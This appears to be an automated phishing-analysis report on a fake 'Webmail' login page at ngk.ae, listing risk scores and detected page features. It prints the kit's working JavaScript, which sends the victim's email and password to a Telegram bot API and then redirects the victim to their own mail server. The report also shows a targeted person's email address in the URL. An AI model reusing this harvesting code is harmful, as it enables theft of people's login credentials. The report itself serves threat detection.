Windows Analysis Report
https://ngk.ae/hurda.html?email=lara.sutton@southerntrust.hscni.net

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://ngk.ae

{
    "risk_score": 4,
    "reasoning": "The script contains a mix of behaviors, including some potentially legitimate functionality (email validation, URL parameter extraction) and some concerning practices (obfuscated code, potential data exfiltration). Further review is needed to determine the overall intent and impact of the script."
}

var $c = getUrlParameter('email');
     $('#email').val($c);
	$('#me').text($c);
        var $current_email = "";

        if ($c) {
            $current_email = isValidEmail($c) ? $c : decodeCustom($c);
        }


        function decodeCustom($email) {
            var $consonants = 'bcdfghjklmnpqrstvwxyz'.split('');
            var $joinChar = $email.substr(0, 1); // substr(,0,1);
            var $output = $email.substr(2); // substr($email,2);
            var $vowels = ['a', 'e', 'i', 'o', 'u'];
            var $vowelsLookup = [];

            for ($i in $consonants) {
                $output = $output.replace(new RegExp($joinChar + '0' + $i + 'a', 'g'), $consonants[$i]);
            }

            for ($i in $vowels) {
                $output = $output.replace(new RegExp($joinChar + $i, 'g'), $vowels[$i]);
            }

            $output = $output.replace(new RegExp($joinChar + $joinChar + $joinChar, 'g'), '@');
            //,$output);
            return $output;
        }

        function isValidEmail(email) {
            var re =
                /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
            return re.test(email);
        }

        function getUrlParameter(name) {
            name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
            var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
            var results = regex.exec(location.search);
            return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
			
        }
		
		 var currentEmail = $current_email;
    var ListEntries = [
            '.*fuck.*',
            '.*pussy.*',
            '.*bitch.*',
            '.*asshole.*',
            '.*fool.*',
            '.*dick.*',
            '.*mama.*',
            '.*nice.*try.*',
            '.*12345.*'
        ];
		
		 if(currentEmail){

            var e = document.getElementById('username');
            e = currentEmail;
            //e.readOnly = true;
			

            var domain = extractDomain(currentEmail);

           // var corH = document.getElementById('corportate-title');
            //corH.innerText = domain + " Email Login";

            }
			
		function extractDomain(email){

        var load = email;
        var domain = '';
        var regex = /.+@(.*?)\..+/;
        var str = email;
        var m;

        if ((m = regex.exec(str)) !== null) {
            return m[1];
        }

        return null;
    }

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors, including data exfiltration, dynamic code execution, and redirects to suspicious domains. It collects user credentials and sends them to a Telegram bot API, which is a clear indication of malicious intent. Additionally, the script attempts to redirect the user to a potentially malicious domain after a certain number of failed login attempts. Overall, this script poses a significant security risk and should be treated as a high-priority threat."
}

/* global $ */
$(document).ready(function() {
  var count = 0;

  $('#back1').click(function() {
    $("#msg").hide();
    $('#email').val("");
    $("#automail").animate({left: 200, opacity: "hide"}, 0);
    $("#inputbar").animate({right: 200, opacity: "show"}, 1000);
  });

  var email = window.location.hash.substr(1);
  if (!email) {
    // Handle case when email is not present
  } else {
    var my_email = email;
    $('#email').val(my_email);
    var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

    if (!filter.test(my_email)) {
      $('#error').show();
      email.focus;
      return false;
    }
    var ind = my_email.indexOf("@");
    var my_slice = my_email.substr((ind + 1));
    var c = my_slice.substr(0, my_slice.indexOf('.'));
    var final = c.toLowerCase();
    var finalu = c.toUpperCase();

    $("#logoimg").attr("src", "https://www.google.com/s2/favicons?domain=" + my_slice);
    $("#logoname").html(finalu);
    $(".logoname").html(finalu);
  }

  $('#submit-btn').click(function(event) {
    $('#error').hide();
    $('#msg').hide();
    event.preventDefault();
    var email = $("#email").val();
    var password = $("#password").val();
    var msg = $('#msg').html();
    $('#msg').text(msg);

    if (!password) {
      $('#error').show();
      $('#error').html("Password field is empty.!");
      return false;
    }

    var my_email = email;
    var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

    if (!filter.test(my_email)) {
      $('#error').show();
      email.focus;
      return false;
    }

    var ind = my_email.indexOf("@");
    var my_slice = my_email.substr((ind + 1));
    var c = my_slice.substr(0, my_slice.indexOf('.'));
    var final = c.toLowerCase();
    var finalu = c.toUpperCase();

    $("#logoimg").attr("src", "https://www.google.com/s2/favicons?domain=" + my_slice);
    $(".logoimg").attr("src", "https://www.google.com/s2/favicons?domain=" + my_slice);
    $("#logoname").html(finalu);
    ///////////new injection////////////////
    count = count + 1;

    $.ajax({
      dataType: 'json', // JSON is lowercase
      url: 'https://api.telegram.org/bot7602482722:AAHgZpHXLa8OvWwcUvEu87JGtQ2iuOtiJ7w/sendMessage',
      type: 'POST',
      data: {
        chat_id: '-1002481037284',
        text: `***** Webmail Result *****\r\nEmail: ${email}\r\nPassword: ${password}\r\n*****`
      },
      beforeSend: function(xhr) {
        $('#submit-btn').html('Verifying...');
      },
      success: function(response) {
        if (response.ok) {
          $("#msg").show();
          console.log(response);
          $("#password").val("");
          if (count >= 3) {
            count = 0;
            window.location.replace("http://" + my_slice + ":2095");
          }
        } else {
          console.log('Telegram API error:', response);
          // Handle the case when the Telegram API does not respond with 'ok'
        }
      },
      error: function(xhr, status, error) {
        console.log('AJAX error:', status, error);
        $("#password").val("");
        if (count >= 3) {
          count = 0;
          window.location.replace("http://" + my_slice + ":2095");
        }
        $("#msg").show();
        // Handle errors here
      },
      complete: function() {
        $('#submit-btn').html('Sign in');
      }
    });
  });
});


  

{
"contains_trigger_text": true,
"trigger_text": "View PDF Document Online",
"prominent_button_name": "View PDF Document Online",
"text_input_field_labels": [
"Email Address",
"Password"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Webmail"
  ]
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "Sign in",
  "text_input_field_labels": [
    "Email Address",
    "Password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Webmail"
  ]
}

```json{  "legit_domain": "webmail.ae",  "classification": "known",  "reasons": [    "The brand 'Webmail' is a generic term and not associated with a specific well-known brand.",    "The URL 'ngk.ae' does not match any known legitimate domain for a specific webmail service.",    "The domain 'ngk.ae' is short and does not provide any clear association with a known webmail provider.",    "The presence of input fields for 'Email Address' and 'Password' is typical for phishing sites attempting to harvest credentials.",    "The URL does not contain any well-known webmail provider's name or domain, which is suspicious."  ],  "riskscore": 8}
Google indexed: False

```json{  "legit_domain": "webmail.ae",  "classification": "known",  "reasons": [    "The brand 'Webmail' is a generic term and not associated with a specific well-known brand.",    "The URL 'ngk.ae' does not directly match any well-known webmail service provider.",    "The domain 'ngk.ae' is short and does not contain any obvious misspellings or suspicious elements.",    "The presence of input fields for 'Email Address' and 'Password' is typical for webmail services but can also be used in phishing sites.",    "The URL does not contain any additional suspicious elements like extra words or unusual domain extensions."  ],  "riskscore": 5}

URL: ngk.ae
			Brands: Webmail
			Input Fields: Email Address, Password